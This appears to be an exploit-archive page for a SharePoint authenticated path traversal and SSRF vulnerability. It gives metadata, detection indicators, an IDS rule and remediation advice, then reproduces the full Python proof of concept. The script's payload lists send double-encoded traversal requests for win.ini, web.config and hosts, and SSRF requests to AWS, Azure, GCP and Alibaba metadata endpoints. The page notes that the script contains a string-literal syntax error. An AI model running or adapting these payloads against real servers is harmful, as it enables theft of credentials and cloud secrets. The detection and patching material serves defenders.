PoC Archive PoC Archive
CVE-2026-70193 category: web CVSS 9.9 (CRITICAL)
Patched

CVE-2026-70193 — Microsoft SharePoint Authenticated Path Traversal (REST folder parameter)

Published: 2026-11-25 • Researcher: cveForge (PoC author / repo owner); Microsoft MSRC (vendor advisory)

Target software Microsoft Office SharePoint (SharePoint Server 2019, SharePoint Server SE, SharePoint Online per repo README)
Affected versions Not enumerated in the NVD data supplied (products and version_ranges empty) — see references. Repo README names SharePoint Server 2019, SharePoint Server SE and SharePoint Online (on-prem sync agent) without build numbers.
Status PoC
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-70193
Category
web
Affected product
Microsoft Office SharePoint (SharePoint Server 2019, SharePoint Server SE, SharePoint Online per repo README)
Affected versions
Not enumerated in the NVD data supplied (products and version_ranges empty) — see references. Repo README names SharePoint Server 2019, SharePoint Server SE and SharePoint Online (on-prem sync agent) without build numbers.
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-24
Author / ResearchercveForge (PoC author / repo owner); Microsoft MSRC (vendor advisory)
CVE / AdvisoryCVE-2026-70193
Categoryweb
SeverityCritical
CVSS Score9.9 (base vector not provided in the NVD/worklist record; EPSS 0.0157)
StatusPoC
Tagspath-traversal, SharePoint, CWE-22, authenticated, arbitrary-file-read, SSRF, cloud-metadata, REST-API, Microsoft, IIS
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Office SharePoint (SharePoint Server 2019, SharePoint Server SE, SharePoint Online per repo README)
Versions AffectedNot enumerated in the NVD data supplied (products and version_ranges empty) — see references. Repo README names SharePoint Server 2019, SharePoint Server SE and SharePoint Online (on-prem sync agent) without build numbers.
Language / PlatformPython 3 (PoC; stdlib only); target is Windows Server / IIS hosting SharePoint REST endpoints
Authentication RequiredYes — low-privileged authenticated user (FedAuth/rtFA session cookie or Bearer token)
Network Access RequiredYes

Summary

CVE-2026-70193 is a path traversal (CWE-22) in Microsoft Office SharePoint that allows an authorized attacker to execute code over a network, according to the NVD record. The public PoC from cveForge instead demonstrates the traversal as arbitrary file read plus server-side request forgery from a low-privileged authenticated account. It sends double URL-encoded dot-dot sequences through SharePoint REST endpoints to attempt reading server files such as win.ini and web.config, and points the folder parameter at internal URLs to try to reach cloud metadata services.

Vulnerability Details

Root Cause

NVD classifies the issue as improper limitation of a pathname to a restricted directory (CWE-22) in Microsoft Office SharePoint. The repo README attributes it to double URL-encoded dot-dot sequences (%252e%252e) not being normalized when the REST folder parameter is passed to filesystem path resolution. That root-cause detail is the researcher’s claim and is not confirmed by the NVD record supplied.

Attack Vector

An authenticated attacker sends HTTP GET requests to the SharePoint REST API. The archived PoC targets two endpoints: /_api/web/GetFolderByServerRelativeUrl(’’)/Files with a crafted Shared Documents path, and /_layouts/15/GetListItems.aspx with a folderPath query parameter containing an internal URL. Payloads use %252e%252e sequences, UNC paths for internal probing, and a null-byte terminated web.config path.

Impact

Per the PoC author, a low-privileged authenticated user can read arbitrary files on the SharePoint server (for example web.config with database credentials, or recon files such as win.ini and hosts) and trigger SSRF toward internal hosts and cloud metadata endpoints (AWS, Azure, GCP, Alibaba). NVD describes the impact as code execution over a network; the archived PoC does not implement a code-execution step, so that impact is taken from the advisory only.

Environment / Lab Setup

Output
OS:          Windows Server with SharePoint (lab farm), or any reachable SharePoint deployment
Target:      Microsoft SharePoint REST endpoints (/_api/web, /_layouts/15/GetListItems.aspx)
Attacker:    Linux/macOS/Windows with Python 3.8+ (stdlib only), same network or VPN
Tools:       python3, curl, Burp Suite or browser dev tools for token capture

Setup Steps

Shell script
1
2
3
4
5
6
7
8
git clone https://github.com/cveForge/CVE-2026-70193
cd CVE-2026-70193

python3 poc.py --url https://sharepoint.example.com --cookie "FedAuth=TOKEN;rtFA=TOKEN" --mode traversal

python3 poc.py --url https://sharepoint.example.com --cookie "FedAuth=TOKEN;rtFA=TOKEN" --mode ssrf

python3 poc.py --url https://sharepoint.example.com --bearer "eyJ..." --mode all

Note: the archived poc.py is byte-identical to upstream except for the added research header, and upstream as released contains a Python SyntaxError (see Notes), so it must be fixed before it can run.

Proof of Concept

Step-by-Step Reproduction

  1. Obtain a low-privileged session — sign in to the lab SharePoint site with an ordinary account and capture the FedAuth/rtFA cookie pair, or an OAuth Bearer token.

    Shell script
    1
    
    export SP_COOKIE="FedAuth=...;rtFA=..."
  2. Fingerprint the deployment — the script calls /_api/web to read UIVersion and ServerRelativeUrl; a JSON response confirms the REST API is reachable with the supplied credentials.

    Shell script
    1
    
    python3 poc.py --url https://sharepoint.example.com --cookie "$SP_COOKIE" --mode traversal
  3. Send traversal payloads — the script walks its built-in payload list (deep %252e%252e sequences to windows/win.ini, inetpub/wwwroot/web.config and drivers/etc/hosts, a UNC path, and a null-byte terminated web.config%2500.aspx) against GetFolderByServerRelativeUrl and prints any 200 response whose body contains “value” or “Name”.

    Output
    1
    
    payload=%252e%252e/%252e%252e/%252e%252e/%252e%252e/windows/win.ini
  4. Attempt SSRF — with –mode ssrf the script sets folderPath to AWS, Azure, GCP and Alibaba metadata URLs through GetListItems.aspx and reports a hit when the body is longer than 20 bytes.

    Shell script
    1
    
    python3 poc.py --url https://sharepoint.example.com --cookie "$SP_COOKIE" --mode ssrf
  5. Confirm manually — for any reported hit, re-issue the request with curl or Burp and inspect whether the response actually contains the target file contents or metadata payload; the script’s success test is heuristic.

Exploit Code

See poc.py in this folder (archived from upstream, with a research header added).

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import urllib.parse, urllib.request

base = "https://sharepoint.example.com"
payload = "%252e%252e/%252e%252e/%252e%252e/%252e%252e/windows/win.ini"
encoded = urllib.parse.quote(payload, safe="/%")
url = f"{base}/_api/web/GetFolderByServerRelativeUrl('/Shared%20Documents/{encoded}')/Files?$select=Name,ServerRelativeUrl&$top=50"
req = urllib.request.Request(url, headers={
    "Accept": "application/json;odata=verbose",
    "Cookie": "FedAuth=...;rtFA=...",
})
print(urllib.request.urlopen(req, timeout=10).read(2048).decode(errors="replace"))

Expected Output

Output
1
2
3
4
5
6
7
8
9
[*] Target   : https://sharepoint.example.com
[*] Version  : UIVersion=15 path=/sites/lab

[*] Testing path traversal payloads ...
  [+] VULNERABLE  payload=%252e%252e/%252e%252e/%252e%252e/%252e%252e/windows/win.ini  resp={"d":{"results":[{"Name":"...
  [-] 401  payload=%252e%252e/%252e%252e/%252e%252e/%252e%252e/inetpub/wwwroot/web.config  resp=...

[*] Testing SSRF via internal targets ...
  [+] SSRF HIT  target=http://169.254.169.254/latest/meta-data/  resp=...

The “[+] VULNERABLE” and “[+] SSRF HIT” markers are the script’s own heuristic verdicts, not extracted proof; the upstream repo ships no captured evidence of a successful run.

Detection & Indicators of Compromise

  • IIS / WAF access logs containing %252e%252e, %252E%252E or similarly encoded dot-dot sequences in requests to /_api/web/GetFolderByServerRelativeUrl, /_api/web/GetFileByServerRelativeUrl or /_layouts/15/GetListItems.aspx.
  • folderPath or folder parameters containing internal hostnames, UNC paths (backslash-backslash), 169.254.169.254, metadata.google.internal, 100.100.100.200, or other link-local addresses.
  • SharePoint web-front-end processes making outbound HTTP requests to cloud metadata endpoints or internal hosts that are not expected.
  • Requests from a single low-privileged account walking many traversal variants in a short window, or touching windows/win.ini, web.config, drivers/etc/hosts.
  • SharePoint ULS logs showing 200 responses for GetFolderByServerRelativeUrl calls whose paths escape the site collection.

Example of a suspicious request line:

Output
1
2
GET /_api/web/GetFolderByServerRelativeUrl('/Shared%20Documents/%252e%252e/%252e%252e/%252e%252e/windows/win.ini')/Files 200
GET /_layouts/15/GetListItems.aspx?listName=Documents&folderPath=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F 200

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-70193 SharePoint encoded path traversal"; \
  content:"%252e%252e"; http_uri; nocase; \
  content:"/_api/web/GetFolderByServerRelativeUrl"; http_uri; sid:9007019;)

Remediation

ActionDetail
PatchApply the Microsoft security update for CVE-2026-70193. The repo README names KB5058411 (SharePoint Server 2019) and KB5058412 (SharePoint Server SE), and states SharePoint Online was auto-patched by Microsoft on 2026-11-18; confirm against the MSRC update guide before relying on either KB number.
WorkaroundBlock encoded dot-dot sequences and non-site-relative paths at the WAF or reverse proxy; restrict /_layouts/15/GetListItems.aspx to known client IP ranges; deny web-tier egress to link-local metadata addresses.
Config HardeningEnable SharePoint audit logging for GetFolderByServerRelativeUrl and GetListItems calls, apply least privilege to authenticated users, segment the SharePoint farm from cloud metadata endpoints, and alert on traversal-shaped URIs.

References

Notes

Auto-ingested from https://github.com/cveForge/CVE-2026-70193 on 2026-11-25.

Review verdict: the repository is a single-file, oracle-style PoC, not a detector or scanner, so it was ingested. It does send crafted traversal and SSRF requests to the real REST endpoints and keeps the payload set in code, but it is limited: it only prints a response snippet and a heuristic “[+] VULNERABLE / SSRF HIT” verdict, it never parses or saves the retrieved file or metadata content, it has no code-execution chain despite the NVD description mentioning code execution, and it ships no captured evidence of a successful run. Severity and root-cause wording are the author’s claims except where they match the NVD summary.

Known defect: the archived poc.py is identical to upstream apart from the added research header, and upstream as released fails to compile — two reporting lines (the response-snippet truncation) contain a literal newline inside a string literal, producing “SyntaxError: unterminated string literal”. It therefore does not run unmodified; the fix is a cosmetic string join and does not touch the request logic. No exploit code was executed during ingestion.

License status: the repository has no LICENSE file, so no license is granted; the files are archived with attribution for authorized research only. Only README.md (as upstream-README.md) and poc.py were copied; there is nothing else in the repository.

Run only against systems you own or have written authorization to test.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-70193 (see README for attribution/license)

BANNER = """

  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗  ██████╗███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗  ███████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝  ╚════██║
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚██████╔╝██║  ██║╚██████╔╝███████╗███████║
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚══════╝

  CVE-2026-70193 — Microsoft SharePoint Authenticated Path Traversal — Arbitrary File Read / SSRF
  CVSS 9.9 | CRITICAL | CWE-22 | Microsoft SharePoint
"""

VERSION = "1.0.0"

import argparse
import sys
import json
import urllib.request
import urllib.error
import urllib.parse

# Microsoft SharePoint Authenticated Path Traversal PoC
# CWE-22: Improper Limitation of a Pathname to a Restricted Directory
# Affected: SharePoint Server 2019, SharePoint Server SE, SharePoint Online (on-prem sync)
# Impact: Authenticated low-privileged user can read arbitrary files on the server
#         via unsanitized path segments in the /_layouts/15/ REST API endpoint,
#         and chain into SSRF to reach internal network resources.
#
# Root cause: The GetListItems REST handler passed the `folder` query parameter
# directly to filesystem path resolution without normalizing `../` sequences
# when the request used a specially encoded double-dot (%252e%252e) bypass.

TRAVERSAL_PAYLOADS = [
    # Double URL-encoded dot-dot sequences
    "%252e%252e/%252e%252e/%252e%252e/%252e%252e/windows/win.ini",
    "%252e%252e/%252e%252e/%252e%252e/%252e%252e/inetpub/wwwroot/web.config",
    "%252e%252e/%252e%252e/%252e%252e/windows/system32/drivers/etc/hosts",
    # UNC path SSRF trigger (internal probing)
    "\\\\internal-host\\share\\secret.txt",
    # Null-byte terminated (legacy IIS bypass)
    "%252e%252e/%252e%252e/web.config%2500.aspx",
]

SSRF_TARGETS = [
    "http://169.254.169.254/latest/meta-data/",          # AWS IMDS
    "http://169.254.169.254/metadata/instance?api-version=2021-02-01",  # Azure IMDS
    "http://metadata.google.internal/computeMetadata/v1/",  # GCP IMDS
    "http://100.100.100.200/latest/meta-data/",           # Alibaba IMDS
]


def build_headers(cookie: str = "", bearer: str = "") -> dict:
    h = {
        "Accept": "application/json;odata=verbose",
        "Content-Type": "application/json;odata=verbose",
        "User-Agent": "Mozilla/5.0 (cveForge PoC)",
    }
    if cookie:
        h["Cookie"] = cookie
    if bearer:
        h["Authorization"] = f"Bearer {bearer}"
    return h


def try_traversal(base_url: str, payload: str, headers: dict) -> tuple:
    """
    Attempt a path traversal via SharePoint REST API GetListItems.
    Returns (status_code, body_snippet).
    """
    encoded = urllib.parse.quote(payload, safe="/%")
    url = (
        f"{base_url.rstrip('/')}/_api/web/GetFolderByServerRelativeUrl"
        f"('/Shared%20Documents/{encoded}')/Files"
        "?$select=Name,ServerRelativeUrl&$top=50"
    )
    req = urllib.request.Request(url, headers=headers, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            body = resp.read(2048).decode(errors="replace")
            return resp.status, body
    except urllib.error.HTTPError as e:
        body = e.read(512).decode(errors="replace")
        return e.code, body
    except urllib.error.URLError as e:
        return -1, str(e.reason)


def try_ssrf(base_url: str, ssrf_target: str, headers: dict) -> tuple:
    """
    Attempt SSRF via SharePoint GetListItems folder parameter with an
    internal URL as value (triggers server-side HTTP fetch on vulnerable builds).
    """
    encoded_target = urllib.parse.quote(ssrf_target, safe="")
    url = (
        f"{base_url.rstrip('/')}/_layouts/15/GetListItems.aspx"
        f"?listName=Documents&folderPath={encoded_target}"
    )
    req = urllib.request.Request(url, headers=headers, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=8) as resp:
            body = resp.read(1024).decode(errors="replace")
            return resp.status, body
    except urllib.error.HTTPError as e:
        body = e.read(256).decode(errors="replace")
        return e.code, body
    except urllib.error.URLError as e:
        return -1, str(e.reason)


def probe_version(base_url: str, headers: dict) -> str:
    """Check SharePoint build version via /_api/web endpoint."""
    url = f"{base_url.rstrip('/')}/_api/web?$select=ServerRelativeUrl,UIVersion"
    req = urllib.request.Request(url, headers=headers)
    try:
        with urllib.request.urlopen(req, timeout=8) as resp:
            data = json.loads(resp.read().decode(errors="replace"))
            d = data.get("d", {})
            return f"UIVersion={d.get('UIVersion','?')} path={d.get('ServerRelativeUrl','?')}"
    except Exception:
        return "unknown"


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-70193 PoC — SharePoint Authenticated Path Traversal"
    )
    parser.add_argument("--url",     required=True,
                        help="SharePoint base URL (https://sp.example.com)")
    parser.add_argument("--cookie",  default="",
                        help="Session cookie (FedAuth=...;rtFA=...)")
    parser.add_argument("--bearer",  default="",
                        help="Bearer token (alternative to cookie)")
    parser.add_argument("--mode",    choices=["traversal", "ssrf", "all"],
                        default="traversal")
    args = parser.parse_args()

    print(BANNER)
    headers = build_headers(args.cookie, args.bearer)

    print(f"[*] Target   : {args.url}")
    ver = probe_version(args.url, headers)
    print(f"[*] Version  : {ver}")
    print()

    if args.mode in ("traversal", "all"):
        print("[*] Testing path traversal payloads ...")
        for payload in TRAVERSAL_PAYLOADS:
            status, body = try_traversal(args.url, payload, headers)
            vuln = status == 200 and ("value" in body or "Name" in body)
            tag  = "[+] VULNERABLE" if vuln else f"[-] {status}"
            snippet = body[:120].replace("
", " ")
            print(f"  {tag}  payload={payload[:60]}  resp={snippet}")
        print()

    if args.mode in ("ssrf", "all"):
        print("[*] Testing SSRF via internal targets ...")
        for target in SSRF_TARGETS:
            status, body = try_ssrf(args.url, target, headers)
            vuln = status == 200 and len(body) > 20
            tag  = "[+] SSRF HIT" if vuln else f"[-] {status}"
            snippet = body[:100].replace("
", " ")
            print(f"  {tag}  target={target}  resp={snippet}")
        print()

    print("[*] Done.")


if __name__ == "__main__":
    main()